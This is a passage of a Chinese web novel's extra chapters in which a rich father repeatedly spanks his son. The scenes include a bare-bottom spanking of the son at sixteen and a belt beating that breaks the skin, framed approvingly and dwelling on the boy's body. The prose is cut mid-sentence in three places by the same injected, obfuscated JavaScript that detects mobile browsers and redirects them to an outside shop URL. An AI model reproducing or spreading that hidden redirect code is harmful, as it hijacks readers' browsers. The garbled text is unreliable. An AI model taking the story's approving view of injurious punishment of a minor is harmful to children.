“虽然，这几桌菜我们很请得起，但是，”尤朗忽然严肃起来，“尤嘉楠，你给我看看你点的菜，重油重辣，又是爆炒又是油炸，你不要以为你现在身体好了就给我乱吃东西！” 尤嘉楠不以为意，扁扁嘴道：“那，那我总要请同学吃点好的吧，总不能我开了几桌，全是白水焯青菜。” “少在这里偷换概念，除了重油重辣就是白水焯青菜？你也不要太瞧不起酒店的厨师。你要么就按照酒店定制的常规菜单来准备，要么就别在酒店吃！” 尤嘉楠格外愤怒，总觉得随着自己渐渐长大，爸爸就没有这么爱自己了，特别他上了高中以后，一点都不像小时候有求必应，现在点个菜都不让他如愿！ “说你两句就不高兴了？”尤朗知道自己这儿子，金贵得很，又一股子傲气，小时候还听话，长大了就越来越不好管，一点不如意就要摆脸色，天天得哄着。 “哼！”尤嘉楠扭过头，娇嗔的模样跟在学校简直是两个样子，“老师同学中午就要到了，你让我现在换菜单，我不要！” 尤朗黑着脸，喝道：“过来！” 办公室就他们两个，有什么话得靠这么近说？尤嘉楠预知了接下来要发生的事，恼怒道：“你又要打我！我不过去！” 怎么回事？比小时候还难教！尤朗一拍桌子，怒道：“你别逼我逮你！你就尽管不听话，看等会谁吃亏！” 尤嘉楠忽然想起以前，有一次尤朗要打他，他死活不肯过去，结果被尤朗逮住按在腿上一顿揍。为了羞他，还特地把办公室门打开——虽然说这一层就没几间办公室，也没什么人会在走廊上听他挨揍，但是这威慑力也太强了吧！ 果然，尤嘉楠犹豫的当儿，尤朗就起身去把办公室门拉开了，大剌剌地敞着，像是欢迎任何人进来一样。尤朗踱步到沙发旁坐下：“你要不服我管了就自己出去，你爱吃什么就吃什么，我一点都不拦着你，你要是还叫我一声爸爸，就现在过来。” 尤嘉楠慢慢撅起嘴，有点害怕：“爸爸，能不能，把门关上？” “不能，都是你自己讨的。” 尤嘉楠虽然长大了些，但到底还是小尤董，一到挨打的时候就只能任由爸爸揉圆搓扁，一点话语权都没有。他皱着眉头，慢腾腾地走到爸爸身边，嘟囔道：“爸爸，我都十六了。” 尤朗一把将人抱住打横，三两下揭了裤子，一巴掌甩了上去：“你也知道你十六了，你干的事像十六岁吗？还是像小时候一样欠揍，你羞不羞？这么大个人被爸爸按在腿上打屁股？”尤朗一边说话一边“啪啪啪”地落了好几下巴掌。 尤嘉楠强忍着不敢喊，脸红得像熟透的西红柿，这要是突然走个人进来，看见他这样被爸爸打，他以后就不用见人了。 “爸爸，”尤嘉楠小声求饶，“我知道错了，门，门还开着。” 尤朗“啪”一声把果冻一样的小屁股打得来回弹：“挨打的时候你知道错了，一早干什么去了？” 尤嘉楠难为情地闭上了眼，自欺欺人地想没人听到没人看到没人知道…… 身后的巴掌还在下落，屁股的颜色逐渐赶上了脸颊的深红，尤嘉楠越来越难以忍耐，最后不由得挣扎着哼了几声：“爸爸，疼……太疼了……我等会还要去吃饭。” “啪！”“着什么急吃饭？你吃到教训了吗？” “吃到了吃到了，我以后不敢了爸爸。” “啪！”“真不敢了？” “呜……真不敢了。” “啪！”“以后再这样怎么办？” 这问题咋回答呀？尤嘉楠沉默了会，没有说话，结果更重的一巴掌拍下来，疼得他直接飙泪：“啊！！爸爸，不要打，我以后不这样了，再这样就打屁股。” 尤朗一点不心疼他，该怎么打还怎么打，一连打了三巴掌才问：“打屁股，怎么打？打多少？一个一个给我说清楚！” 这太羞人了！尤嘉楠欲哭无泪：“爸爸，如果我再这样，爸爸就，就，就用手打我的屁股五十下，可以吗？” “啪啪啪啪”，一连四下巴掌拍下，尤嘉楠感觉自己的屁股都要被打熟了。 “用手打，你不嫌疼我还嫌，我警告你，以后再敢乱点东西吃，要么皮带要么藤条，你自己看着选，你要是嫌屁股坐着太舒服了，我就成全你！” “不不不，不是，爸爸别打了，我知道错了。”尤嘉楠眼泪都要出来了。 尤朗不解气，最后“啪”地给了他重重的一下，然后把人抱起来，让他光着屁股站在自己面前。尤嘉楠羞得不敢看人，一直垂着头。尤朗面色凝重，一点不见轻松：“这么大个人了，能不能不让爸爸操心了？” 尤嘉楠本来犹自沉浸在自己的情绪里，一听爸爸这话，又有点心酸。他从小身体就不好，为了自己，爸爸不知道付出了多少。想到爸爸为自己做过的事情，尤嘉楠觉得挨顿打都不算什么，便不觉得羞了，只觉得愧疚：“爸爸……” “你说你，这么大了也不知道顾着点自己身体，以后上大学了，爸爸不跟在身边了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581292|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么办？” 尤嘉楠一想到要和爸爸分开就难受，也顾不上自己还背着错，整个人抱住爸爸，黏着不愿意放开：“对不起，爸爸，我以后不任性了，我会照顾自己的。” 尤朗顺势抱着他：“就会说得好听，下次这样真的不饶你了，叫大家都上来看你挨打，然后再告诉你的老师同学。” “不要……不要挨打……” 尤朗搂着孩子，不愿意放开：“楠楠，爸爸不年轻了，说不好哪天就不能照顾你了，你要爱惜自己，不要让爸爸操心，知道吗？” 尤嘉楠听不得这种话。在他心里，爸爸是一座大山，不管什么困难都能严严实实地挡住，总是把自己保护得很好，一想到爸爸可能会老会死，他就要落下泪来：“爸爸，爸爸不要离开我……” “爸爸不会离开楠楠，爸爸会永远和楠楠在一起，但是楠楠也要答应爸爸，要学着照顾自己，好不好？” 尤嘉楠点点头：“我会的。” 尤朗给小孩揉了揉屁股，帮他穿上裤子：“好了，去吃饭吧，有什么就给爸爸打电话。” 尤嘉楠到的时候老师同学们都到了，他走到颜丹琳旁边的空位坐下，程老师问他怎么在自己家酒店吃饭还迟到，尤嘉楠顶着脸上还没完全褪下去的红晕道：“就，有点事。” “什么事啊？”有人问。 尤嘉楠不好意思看人，顾左右而言他。程松直倒是觉得尤嘉楠这个状态实在太熟悉了，每当他被程老师打了以后就是这样的，于是他问：“楠楠，你坐着还好吗？” 果不其然，尤嘉楠的脸更红了，深呼吸两下，眼神飘来飘去：“我，我很好啊，怎么，问这个？” “哦，我以为你爸打你了。” “哈哈哈哈哈哈……”这一桌人疯狂大笑，笑得尤嘉楠抬不起头来。程老师笑了一会，担心学生不好意思，于是扯着旁边的程松直拍了几下：“我有时候也打程松直，他可有经验了。” 大家又开始笑班长，程松直恼怒地扭开了：“你别碰我！” “你们叶老师也打他，小时候程松直淘气，叶老师藤条都打断了。” “哎呀！你都说是小时候，不许说了不许说了！” “说！”方韵言喊，“老师再说点，我想听班长挨打！”?“有什么好听的呀？”程松直愤愤道，“就是我数学没有考到满分，叶老师就让我撑在桌上，拿藤条抽我屁股，差几分就打多少下。” “那现在呢？现在还打吗？” 程松直拉着嘴角，给了她一个大大的假笑，以示回答。这一桌人全看懂了，一个个笑得东倒西歪，气得程松直直翻白眼。 53. 番外五 尤嘉楠大四了，虽然已经确定要出国深造，但实践学分没拿到呀，所以就提出要回公司实习一段时间。尤朗对此不甚在意，道：“你把材料拿来我给你盖个章，别花这个时间实习了，干点什么不好？” 可是尤嘉楠还是坚持，一方面可以了解公司情况，一方面还可以跟爸爸呆在一起，两全其美的事，多好。 尤朗拗不过他，只得同意了，却提前打了预防针：“你要是来，那就真给我当员工，要是干不好，就等着吧！” 尤嘉楠自然想不到他都这么大了还会挨打，也想不到这个公司有什么是自己干不好的，兴高采烈地点头答应，然后吭哧吭哧地到公司去了。 公司里没有尤嘉楠专业对口的工作，尤朗想了半天，干脆把小孩留在自己身边当个二助，平时送送文件喊喊人，有应酬还能带出去见见世面，确实不错。 尤朗早年的助手章信早就当商务总监去了，现在的助手是一个年轻稳重的男青年，知道尤嘉楠要来，早早地在自己的办公室给他腾了一张空桌子出来，花了半天功夫给他讲尤朗助理要干的事。 虽然知道这是尤董的儿子，不会真干什么活，但是如果一不小心出了事，最后不能怪到自己啊！男青年如是想道。 但是一助没想到的是，尤董儿子是真的会干活的，每天一大早就把所有文件送进去给尤董签了字，再提醒尤董一整天的行程，开会前通知参会人，打印好材料，会后整理会议记录，各种文件整整齐齐地归档，这工作能力，看得一助是目瞪口呆——不愧是当年N市的高考状元！不愧是尤董的亲儿子！啊不对，好像不是亲儿子。 儿子有儿子的待遇，一助刚来尤董身边工作的时候，两个月了都没跟尤董出去过，结果尤嘉楠第一周就跟尤朗出席了两个饭局，每次都被人家夸得天上有地上无的。 不过前两次都是合作之后的感谢局，没什么技术含量，尤嘉楠就只是跟在旁边听，然后说些以后多多合作一类的客套话，最后就是听别人夸他将来前途无量，顺风顺水得小尤董都飘了。 半个月后，没出过一点错的小尤董又被带去应酬了，这回应酬声势浩大，不仅尤朗，还有另外两个董事、商务总监章信、项目经理、嘉木酒店的总经理，全都去了。尤嘉楠提前做过功课，知道嘉木酒店要开分店，这次是去谈酒店的其中一个选址的租赁合作。 这个选址在地铁站旁，周围都是高端酒店，租金不菲，更重要的是，这块地是看级别租赁的，对方要是认定你不够高端，你给再高的租金也没用。 尤嘉楠一进去就感觉到气氛不一般。每个人都在笑，但显然每个人都很紧张。他也跟着紧张，但之前的经验还是让他显得落落大方极为得体，一一跟对方握过手后，尤嘉楠在尤朗身旁落了座。 今晚的酒水和菜肴明显和上回两个感谢局不是一个档次，但是尤嘉楠不敢轻易动筷，都是等众人夹菜时他才低调地伸出筷子去，迅速地吃一口，完了又是一副专心听人说话的样子。 他虽然只是第二助理，但更重要的身份大家心知肚明——未来的尤董，南方嘉木项目的最大股东。 果不其然，对方瞎聊了大半个小时之后就把目光转移到了尤嘉楠身上：“听说尤董给南方嘉木这个项目取名的时候，就是要把这个项目送给儿子的，今天见到小尤董，果然是一表人材，很有尤董的风范啊！” “过奖了。”尤嘉楠笑着点点头。 “不知道小尤董怎么看南方嘉木，以后南方嘉木到你手上，可不要浪费了你爸的一番苦心。” 尤嘉楠只顾看着对方，没有接到尤朗让他小心应对的眼神，当即把自己的准备一股脑说了出来：“以后南方嘉木还是以商场、酒店、电影院和摄影品牌为中心，再适当地扩充业务，现在在考虑物业、装修这两类，当然也会把业务扩到省内其他城市，想必您这些年也看到了，嘉木月已经占领全省的高端月饼市场，其他业务也会跟上的，嘉木酒店分店就是第一步……”尤嘉楠说着说着，突然感觉自己后腰被右边伸过来的手碰了一下，立刻意识到是章信在提醒自己，于是顿了顿，道，“不过我还在上学，对很多事不够了解，业务都还是集团在负责，我相信我们集团的能力。” 对方鼓起掌来，夸他有想法会说话，又说尤朗教得好，就是没说酒店的事。尤朗勉强笑笑，和对方碰杯喝酒。 其实尤嘉楠这话说得滴水不漏，如果不是一开始透露了太多，尤朗也挑不出毛病来。 但问题就是，透露得太多了。 半夜到家，尤朗喝了太多酒，头痛得很，便直接回房休息了。尤嘉楠误以为这一个晚上没出事，也安心睡了个饱饱的觉。结果一觉醒来，发现他爸正备着根皮带在客厅等他。 那根皮带，还是他去年送给尤朗的父亲节礼物。 “爸？”尤嘉楠小心翼翼地走过去，不知道自己犯了什么事，一大清早就要挨打。他都多少年没挨过打了！ “吃过早饭了？” “吃了。” 客厅气压很低，这么多年他们家还是一样，做饭和打扫卫生的阿姨工作结束就会离开，不会一直呆在家里，自从山田心走了以后，屋子里就更清净了。尤嘉楠独自面对着面无表情的爸爸，心里仍然控制不住感到害怕。 尤朗没有太多的话，用皮带指指墙角放东西的桌子：“过去，脱了裤子撑着。” 尤嘉楠虽然多年没挨过打，但是昔年挨打的疼痛从来没有消失过，一听爸爸要自己脱了裤子，屁股便开始作痛，“突突突”的，叫人害怕：“爸爸，我不明白。” “过去撑好，我会给你解释。” 这意思就是得挨打才能知道原因呗！尤嘉楠没有办法，一边骂自己背一边硬着头皮走过去，慢慢地脱了裤子放在沙发上，转身面对着墙，双手撑在桌面上。 他妈的，他都二十一岁了！都快二十二了！ 裸露的双腿打着颤，是控制不住的身体反应。尤嘉楠背对着爸爸，却能听见朝自己而来的脚步声，脚步声越近，他的呼吸越急促，双腿也抖得更厉害。 “爸爸……”尤嘉楠浑身一颤，是因为爸爸撩起了他的衬衫下摆，整个屁股露了出来。 “挨打别那么多心思，塌腰，屁股撅起来，别让衬衫遮下来。” 尤嘉楠脸羞得通红，却不得不顺从，把准备挨打的屁股抬得更高了些。 没有任何预兆，皮带“咻啪”一声落了下来，抽过两团肉，尤嘉楠“啊”一声，膝盖一曲，差点跪到地上，但幸亏手撑住了：“爸爸，疼……” “撑好！” 没有一点温度的声音，尤嘉楠听了很是委屈，却只能忍着眼泪重新摆好姿势。 “咻啪”，又是一下狠厉的皮带，臀上很快浮起红痕，不是一道道的，就是一小团，那是伤得最重的地方。尤嘉楠疼得双眼一闭，五官都扭成了一团，却不敢乱动，只得死死撑住。 皮带抽破风声落在肉团上的声音此起彼伏，一连抽了十下，尤嘉楠两团肉已经一片绯红，尤朗才停了手：“到现在还没明白自己为什么挨打？” 尤嘉楠连连倒抽凉气，一脑子混沌，哪里想的明白？可是爸爸这语气，摆明了就是想不出来就接着打，于是他只能不断回忆昨晚的事，最后终于抓住了那一点不对劲——他说话说到一半时章信碰了他后腰一下。 “爸爸，是因为我、我乱说话了吗？”尤嘉楠还是不明白，他说完之后对方反应很好啊，而且他没说错任何话！ “啪！”皮带落下，尤嘉楠面对着墙的小脸疼出了汗，接着听爸爸道：“你说了这么多，人家有应你一句吗？” 不是应了吗？说了好多好话啊！尤嘉楠边喘气边想，不对，应是应了，可没说集团和酒店的事啊！ 他怎么这样蠢？现在才发现！ “爸爸，我知道错了。” “啪！”“不，你不知道，你不知道这饭桌上多少话是真多少话是假，你随随便便就把集团以后的发展路线说出去，虽然只是个大概，但你不知道会招惹来多少麻烦！” “可是，”尤嘉楠还是不明白，“我们不是要和他们谈合作吗？难道不应该吗？” “谈合作也只谈酒店选址，你把集团的事全说出去了，是嫌活得太长了吗？！”尤朗这话说得格外艳丽，说完挥起手中的皮带“啪啪啪”地落了好几下，疼得尤嘉楠连连屈膝，差点没站住。 “对不起，爸爸，我知道错了，我以后不会了。” 尤朗没有轻易接受他的道歉，仍旧铁青着脸：“你来实习快一个月了，一点挫折都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581293|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到，你是不是觉得集团的事都很容易。” 撑在桌上的手紧了紧，尤嘉楠沉默一会，还是选择了见风使舵：“没有。” “啪！”“不老实！” “啊！爸爸！我疼！我错了我真的知道错了！我之前是觉得容易的，但是现在不敢觉得容易了。” “啪啪啪！”一连三下在臀峰上甩下，带出一片血痧。 “商场上最忌讳得意忘形，你还没有真涉足，就敢如此大意，我将来怎么放心？” 尤嘉楠感觉自己快要疼晕过去了，一颗豆大的汗珠从眉心沿着鼻翼滑落，一直落进他嘴角：“爸爸，我知道错了，我不该看轻集团的事，爸爸，再给我一次机会。” 尤朗知道这个儿子，又乖又聪明，只是商场上的事瞬息万变，危险万分，他不能一开始就纵容了楠楠，故而严厉许多。 “你知道也好不知道也好，这次的事必然要给你一个教训，以后再犯，你就等着瞧！” “我知道了，爸爸，我……”尤嘉楠稍微动了动手，感到手都快黏在桌面上了，“我会记住的。” “最后二十，自己撑好。” “是。”尤嘉楠刚应完，身后的皮带就迅速落了下来，他差点没咬掉舌头！ 但是臀上传来的剧痛由不得他思考，只觉得每一下皮带落下都像是热油泼上，烙铁烫下，似乎要直接揭掉他一层皮。不过他感觉的也差不离，二十下皮带结束，臀峰处确实破了皮，火辣辣的，他连碰都不敢碰。 只是尤朗也不像小时候那样心疼他了，看着他那伤，只是扭过头，淡淡道：“自己歇几天吧，公司的事先不要管了。” 尤嘉楠满怀委屈地直起身来，原本以为爸爸会哄一哄自己的，可是只有这么淡淡的一句话，他都不知道怎么回。 尤朗没有看他，自顾自放好皮带，道：“我有事要出去，你自己歇着吧。” 尤嘉楠看着爸爸开门离去，通红的眼眶倏地落下泪来。 尤嘉楠睡了一觉，醒来只觉屁股要裂开了，他睡前没有处理伤，发酵了这么一阵，定然是更加厉害了。可他一回来还发现，他房里有人，章信一直坐在旁边，安安静静地看着他。 “醒了？给你上点药？”章信见他醒转，拿了药便要过来。 尤嘉楠下意识地抓着被子，到底是大学生了，知道羞了。 章信只是笑：“跟我也要羞？你这伤不上药，现在觉不出什么，怕等会连路都走不了，听话，我看看。” 到底也是真怕走不了路，尤嘉楠装模作样了一会，便也随章信去了。只是章信这么一上药，他不由得想起爸爸离开的身影，颇有些伤心：“我爸爸呢？” “他今天有事，所以才让我过来看看。” “打那么重，连药也不上。”语气里满是嗔怪。 章信听了只想笑，虽说就要大学毕业了，可内里还是那个想要爸爸的小孩。“你爸爸是怕你行差踏错，给你个警醒，你不要太怪他。” “我也是第一次啊，第一次说错点话就打这么狠！” 章信耐心解释：“商场上的事比不得你在学校，根本不管你第几次，错了就是错了，有时候错这么一回，整个团队的人都得丢饭碗，你说你爸爸怕不怕？” “可是！”尤嘉楠满肚子委屈，说了一层还有一层，“可是我都这么大了，谁这么大还挨打呀？” 章信给他上药的手一顿，只是笑，不说话。 尤嘉楠也是知道章信和爸爸那些事的，问：“他打你也这么凶？” “嗯。” “你说他有什么好？打人这么凶，打完就走，你干什么非得……” 章信抬头看他，眼里只有面对小孩的宠溺：“除了这回打了你没哄以外，你还能不能找出你爸爸别的不好来？” “我……” 好吧，找不出。 章信给他上好药，笑道：“好了，再歇一歇，中午带你出去吃饭，不许闹脾气。” “哼，你就是向着他！”尤嘉楠很不高兴，“我小时候你都是向着我的！” 章信倒不恼：“没错，你这么久就说对了这句话，我就是向着他。” 尤嘉楠烦躁地扭过头去，他就多余说这一句，什么恋爱的酸臭！滚蛋吧！ 54. 番外六 在一个没事忙的周末，尤朗带邱嘉楠去了游乐园，之前说去的，老没去成，这回也算是了了一桩心事。 普通周末的游乐园虽不比上次国庆节时人挤人，但也热闹非凡，小朋友们拉着爸爸妈妈的手叽叽喳喳，年轻情侣牵着手露着腰拍照，灿烂阳光下一片欢欣景象。邱嘉楠比第一次来要高兴，拉着爸爸的手挤在人群中，扯着嗓子说话：“爸爸，我要坐碰碰车！”他上回来只坐了旋转木马和摩天轮，都是慢慢的，没意思，这回要玩点刺激的。 尤朗自然是随他，陪着他去排那弯弯绕绕的队，忍着闷热空气等了两轮才到他们。邱嘉楠和尤朗各选了一辆车，系好安全带，开始和一群陌生人开车碰撞。 尤朗是开惯车的，玩起这种方向盘来得心应手，不管前面有几辆车都能轻松避开，但是邱嘉楠就有点惨了，方向盘怎么打车都不听他使唤，一直被夹在好几辆车中间撞来撞去，头都撞晕了，最后不得已，在别人的欢笑声中大喊：“爸爸，爸爸！我出不去了！” 尤朗应声而来，看着小孩狼狈的样子，只觉好笑，结果招来了小孩的好几个白眼：“爸爸快救我出去！” 尤朗在邱嘉楠旁边转着：“踩油门，方向盘往右。” “它不动！” “一直往右，对，就这样！”尤朗看着小孩车终于转了，赶紧开到他旁边去护航，省得游玩时间结束了小孩都没尝到甜头。 只是邱嘉楠似乎在这些事情上比较笨，刚从别人的围攻中逃出来，又很快“砰”一下撞上了障碍物，晃得眼前直冒金星，尤朗忍不住，笑得都没力气了。 不过虽然邱嘉楠没有像爸爸一样熟练操作，却还是很开心，一出来又兴高采烈地拉着爸爸的手要去玩其他项目：“爸爸……” 尤朗的目光从手机上移开，神情严肃，道：“楠楠等会，爸爸回复一个消息。” 邱嘉楠有点不高兴，但也没办法，只得停在原地，等着爸爸回消息。 好在尤朗的消息没有占用他太多时间，不过两分钟的时间，尤朗就放好手机，重新牵起了小孩的手。邱嘉楠指着远处的过山车，道：“爸爸，我想玩那个。” 天气热，邱嘉楠玩这么一会，头上已经是一层汗了，尤朗掏了纸巾出来给小孩擦汗，道：“那个很刺激，你怕不怕？” 邱嘉楠犹豫一会，说：“怕，爸爸和我一起，保护我。” 尤朗笑了下，正要说好，手机却响了。他分明看到小孩一瞬间黑下去的脸，却还是不得不先接电话。邱嘉楠最不喜欢爸爸陪自己玩的时候工作，只盼着爸爸一两句话把那边打发了，可是这回似乎是要讲很重要的事，爸爸站着说了一会，竟拉着他去长凳上坐下了。 什么嘛？哪有来游乐园工作的？气死了！邱嘉楠气头上，也不跟爸爸说一声，瞪了爸爸一眼，随后一个人跑走了！ 尤朗没意识到小孩会发这么大脾气，毕竟楠楠一直以来都那么乖巧，只当小孩去上厕所或者先去逛逛，没放在心上，继续打电话了。 可是邱嘉楠生着气，也不知道什么是怕，一个人就去坐过山车了，气呼呼地想着，最好他从过山车上摔下来，让爸爸后悔去吧！ 抱着这样赌气的心理，邱嘉楠上了过山车，和一群陌生人坐一块，可别人都是有人陪着的，就他一个人孤零零的，害怕了都不知道拉谁的手。 委委屈屈的，过山车就开了。一开始还只是慢慢的，过了一阵，突然加速，所有人都放开嗓子嚎起来，邱嘉楠吓得直接闭上了眼，心脏在风声里“扑通扑通”，格外响亮。只是这加速也只是个前菜，接下来各种急转弯，旋转，忽上忽下，邱嘉楠根本就不享受，只牢牢地抓着栏杆，“啊啊啊啊啊”地叫，感觉心都要跳出来了。 “啊！爸爸！爸爸救我！！” 杂乱的喊叫声混合在一起，谁也没注意到一个小孩的恐惧。直到过山车慢悠悠地停下来，众人一个接一个劫后余生般地离开，嘴里还念叨着“好刺激好刺激”。 邱嘉楠一离了过山车，立刻奔去找爸爸，那会尤朗已经挂了电话，正找他呢，见到小孩冲过来，立刻沉着脸抓住他，也不管游乐园里人多，抬手就在孩子身后“啪啪啪”落了几巴掌。 可是邱嘉楠没有哭，只是紧紧地抱着他，还轻轻地颤抖着。 尤朗发现小孩不太对劲，蹲下来看他：“怎么了楠楠？” “我害怕，”邱嘉楠小声道，“我以为我要死了。” “你干什么去了？” 邱嘉楠抱着爸爸的脖子，说：“我去坐过山车了。” 尤朗色变，扯开他的手，让小孩自己站着：“你一个人去？” 邱嘉楠现在不生气了，也不委屈了，倒是有点害怕，看着爸爸压迫的视线，犹豫着点了点头。 尤朗气得要死，他在这里着急上火找不到孩子，结果这个小孩自己去坐过山车了，前一秒说着怕，要爸爸陪，下一秒就自己去，去完了又说害怕，可真是…… 周围人来人往的，可尤朗毫不在意，把小孩转了过来，扬起巴掌对着小孩屁股拍了下去，邱嘉楠吃痛，又不愿意被人看，立刻挣扎起来：“爸爸，不要……” 尤朗不听他说话，只一个劲打，巴掌落得又急又猛，没几下就把小孩哭腔逼出来了。 其实隔着裤子也并不是非常疼，只是在公共场合到底难堪，刚才邱嘉楠还看到有个小女孩从他身边经过，用奇怪又同情的目光盯着他，这怎么能忍呢？ 尤朗打了十来下，才解气地放开了小孩，但脸色依旧难看：“以后还敢不敢一个人乱跑？” 爸爸一顿巴掌把邱嘉楠的恐惧都打跑了，他又委屈起来，控诉道：“是你在接电话，说好陪我玩的，来了就回消息接电话。” 尤朗托着小孩屁股把他抱起来：“爸爸知道楠楠不高兴，但是爸爸的工作就是这样，每天都有人找，回消息接电话都是在所难免的，可是爸爸说陪你就肯定陪你，刚才电话里说要我当面谈，我也没答应。爸爸虽然不能阻止别人打电话过来，但爸爸人是在楠楠身边的啊！” 爸爸有多忙邱嘉楠是知道的，听爸爸这么一说，他立刻就愧疚了，搂着爸爸的脖子道歉：“对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581294|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起，爸爸。” 尤朗亲亲小孩，去给小孩买了杯奶茶，问小孩还想玩什么。 “我想坐摩天轮，上次坐的时候你都在打电话，都没理我。” 尤朗抱着小孩往摩天轮的方向走去：“好，爸爸陪楠楠坐摩天轮，这次我们都不许和别人说话。” 这次和上次不同，人没那么多，邱嘉楠如愿以偿地得到了一个车厢，只有他和爸爸在里面，没有别人在。 邱嘉楠坐在爸爸身边，乖巧地捧着奶茶小口小口地喝，感受着摩天轮慢慢上升。 尤朗看着小孩欢欣雀跃的样子，心都化成了水，把小孩抱到自己腿上坐着。邱嘉楠感觉到爸爸心情不错，头一仰，对上爸爸温柔的视线：“爸爸。” “嗯？” 可邱嘉楠又不说话了，只是偎在爸爸怀里喝奶茶。 几分钟之后，摩天轮升得高了些，邱嘉楠坐起来，小手指指着一处道：“爸爸，那是家里。” 尤朗顺着孩子手指的方向望去，只看到他们那个小区的别墅群，根本认不出谁家，但他还是笑道：“嗯，是家里，是楠楠和爸爸的家。” 游乐园里有人在卖氢气球，各种各样的形状，五颜六色，每个小朋友经过都要停下来看一看，千挑万选一个喜欢的，邱嘉楠也不例外，见了这气球就走不动道，拉着爸爸的手，说：“爸爸，我想要。” “好。”尤朗还跟别的家长不一样，别的家长都问小孩想要哪个，他却大方得多，邱嘉楠看上的三个他都买了，三根白线扎在一起让小孩牵着。别的小朋友看着邱嘉楠牵着三个气球，都羡慕得不得了。 只是邱嘉楠从前没玩过这种气球，没有经验，才高兴了一阵，在树下休息的时候，一不注意就松了手，气球也不停留，摇摇晃晃的就往天上去了。 邱嘉楠一愣，“啊”一声叫了出来。尤朗被他一惊，发现气球已经飞到树梢了，伸手都抓不住那白线了。可是邱嘉楠十分舍不得，追着喊：“别跑！爸爸！快帮我拿下来！它要飞走了！” 经过的小朋友无一不感到惋惜，只是谁也没办法，只得紧紧抓住自己手中的气球，免得遭此厄运。 尤朗仰着头，看气球越飘越远，也没多大感觉，只是一低头见着小孩哭丧的脸，心疼非常：“楠楠？” “我没有气球了。”哭腔都出来了，邱嘉楠通红着双眼抱住爸爸，“我第一次买气球，才一会就没有了。” 这可把尤朗心疼坏了，尤朗抱着小孩，哄道：“没关系的，楠楠不哭。” “可是我想要气球，它为什么一下就飞走了？呜呜呜……” “楠楠不哭，没事的，爸爸再带楠楠去买，气球而已，嗯？”尤朗见不得小孩伤心，立刻抱着孩子往卖气球的地方去了。 邱嘉楠见爸爸是真的要再给自己买气球，才渐渐止了哭泣，又重新挑了三个好看的，牢牢抓在手里。尤朗把小孩放在地上，把三根细细的白线扎在小孩手腕上：“这样气球就跑不掉啦！” 邱嘉楠看着气球，另一只手又紧紧牵着爸爸：“爸爸也跑不掉啦！” 55. 番外七 尤嘉楠小升初那个暑假，尤朗特地休了假，带他出国去玩了一个星期。尤嘉楠很是兴奋，一路上雀跃不已，在回来的飞机上还闹腾，整个头等舱里就他一个熊孩子，尤朗被闹得心烦，不轻不重地呵斥了几句，尤嘉楠就彻底消停了。 只是他这消停就跟气球被针扎了一下似的，再怎么打气也撑不起来了。下了飞机已是中午，阳光灿烂大地滚烫，尤朗牵着他手去取行李，一路上照旧跟他说话，他就懒洋洋的，有一句没一句地应答着。 尤嘉楠高涨的情绪被爸爸那两句训斥拉到了谷底，本来以为爸爸下了飞机以后会哄自己两句，可没想到爸爸就跟没事人一样，估计是把飞机上那点芝麻小事忘到九霄云外了。 家里司机来接，车上安安静静的，尤嘉楠不想说话，闭着眼睛假寐。尤朗也很疲惫，不再多言，就这样沉默着到了家里。 如今的家已不是原来的小别墅了，早在尤嘉楠小考时搬到了新的大别墅。新家比老家更加宽敞明亮，也更增添了真真实实的家的气息。山田心仿佛早知道了爸爸和爷爷今天回来，站在二楼阳台摇头摆尾的，“汪汪汪”地吠，使足了力气欢迎爸爸和爷爷回家。 尤嘉楠抬起头，迎着刺眼的阳光对山田心笑了笑，便恹恹地进了屋。尤朗早注意到他不大高兴，只是一路上人多口杂的，也不好问，现下回了家，便问：“楠楠，你怎么不高兴了？” 我怎么不高兴，你心里没数吗？尤嘉楠委屈万分，只是嘴上如何也不敢这样说，只搪塞道：“没有啊！” 上午打扫卫生的阿姨把朝阳那面的窗帘拉开了，阳光亮堂堂地照进来，尤嘉楠甚至能看清楚每一束光线中灰尘的舞动，但爸爸却看不明白他的心。 十几个小时的飞机，外加时差，尤朗早已是疲惫不堪，把行李丢在一边就往沙发上坐，语气里满是倦怠：“楠楠，不要闹脾气，到底怎么不高兴了，跟爸爸说！” 这当儿，山田心已是吐着舌头“吭哧吭哧”地下楼来了，“汪”了一声就往尤嘉楠身上扑，一站起来比尤嘉楠还要高了。尤嘉楠心不在焉的，两手搂住山田心，随便给了它一点抚慰，眼睛还是望着爸爸，声音细细的，像是要哭了一般：“你在飞机上说我。” 尤朗不气反笑，抬手揉了揉眼睛，满不在乎道：“我以为多大点事，就为那两句话，至于吗你？” 